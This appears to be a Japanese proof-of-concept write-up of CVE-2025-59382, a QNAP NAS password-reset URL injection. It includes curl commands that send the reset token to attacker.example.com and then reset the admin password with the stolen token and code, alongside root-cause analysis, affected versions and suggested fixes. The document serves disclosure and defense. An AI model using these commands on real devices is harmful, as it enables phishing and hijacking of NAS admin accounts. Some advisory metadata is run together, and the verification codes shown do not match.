
CVE-2025-59382の概念実証と技術解説書。QNAP NASにおける認証なしのパスワードリセットURLインジェクションにより、フィッシングからアカウント乗っ取りへの連鎖を可能にする脆弱性。
認証されていない攻撃者が制御するパスワードリセットURLが/cgi-bin/reset_password.cgiに存在します。
ラボでQuTScloud c5.2.4.3041 build 20250211に対してテストしました。QNAPは後にこれをアドバイザリQSA-26-10でCVE-2025-59382として公開しました。
ローカルネットワークアクセス、または公開されたNAS管理インターフェースにアクセスできる認証されていない攻撃者は、/cgi-bin/reset_password.cgiのsend_mail関数のurlパラメータを操作することで、公式のQNAPパスワードリセットメールに任意のURLを注入できます。
被害者はNASから本物のQNAPパスワードリセットメールを受け取ります。攻撃者のURLはHTMLメール本文に直接埋め込まれ、QNAPはリセットトークン(rp)をそのURLに追加します。
これにより、パスワードリセットメールが見事なフィッシングからアカウント乗っ取りへのチェーンになります:
rpリセットトークンを受信vc)を入力被害者の操作が必要ですが、攻撃者の認証は不要です。
curl "http://<NAS_IP>:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
NASは公式リセットメールを送信し、リセットトークンを攻撃者のURLに追加します。例:
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
検証コードも同じメールに表示されます。ラボでの証拠は次のようになりました:
Your verification code is: 2FEA2B8B
そのため、フィッシングページは被害者に検証コードを尋ねるだけで済みます。rpトークンはリンクがクリックされた時点で攻撃者のサーバーに届いています。
攻撃者がrpトークンとそれに関連するvc検証コードを入手したら、管理者パスワードをリセットできます:
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://<NAS_IP>:8080/cgi-bin/reset_password.cgi"
最終的なリセット呼び出しはPOSTである必要があります。被害者が偽のページに入力した検証コードはvc=<code>としてQNAPに送信されます。
新しいパスワードはnew_pw内でbase64エンコードされています。PoCではこれで管理者パスワードを変更し、管理者としてログインするのに十分でした。
通常のフロントエンドフローは、次のようなローカルNAS URLを構築します:
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
しかし、バックエンドはリセットURLを自身で生成する代わりに、クライアントから提供されたurlパラメータを信頼します。そしてその値を使用してメールリンクを構築し、次のものを追加します:
&u=<user>&rp=<reset_token>
urlとして渡されたものを単に信頼します。
信頼されたNASメールが配信を行っています。
CVE-2025-59382QSA-26-102026-06-17CWE-4725.1 MediumQNAPは影響を受ける製品を次のようにリストしています:
5.2.7h5.2.8c5.2.82.7.1QNAPがリストする修正バージョン:
5.2.9.3499h5.2.9C5.2.92.8.0QNAPはこの問題を、リモートの攻撃者がパスワードリセットURLを変更し、被害者を攻撃者制御のリセットページに誘導して、認証情報を盗むものと説明しています。
私自身のラボターゲットはQuTScloud c5.2.4.3041 build 20250211でした。ラボでの影響は、被害者の操作後の管理者パスワードリセットと管理者ログインでした。
注意: 私はこれをラボで2026-05-09に再現し、2026-05-11にQNAPに送信しました。QNAPはこれをINTSI000-9029の重複としてマークしました。QNAPがCVE/アドバイザリを公開したため、POCを公開します。最初に発見したTim Coenに感謝します。
QNAPが使用した正確なパッチはわかりません。アドバイザリには修正されたバージョンのみがリストされています。
適切な修正の私の推測は簡単です:ブラウザにリセットリンクの宛先をNASに指示させないことです。
NASはそのリンクを自身で構築すべきです。QNAPがフローのためにurlパラメータをまだ必要とする場合、通常のNASリセットページのみを受け入れ、外部のものは拒否すべきです。
また、メール本文に挿入されるものはすべてエンコードし、認証されていないリセットメールリクエストにはレート制限をかけるでしょう。
免責事項: このエクスプロイトコードは教育および防御研究目的で公開されています。自分が所有していない、またはテストする明示的な許可がないシステムに対して使用しないでください。著者は誤用について責任を負いません。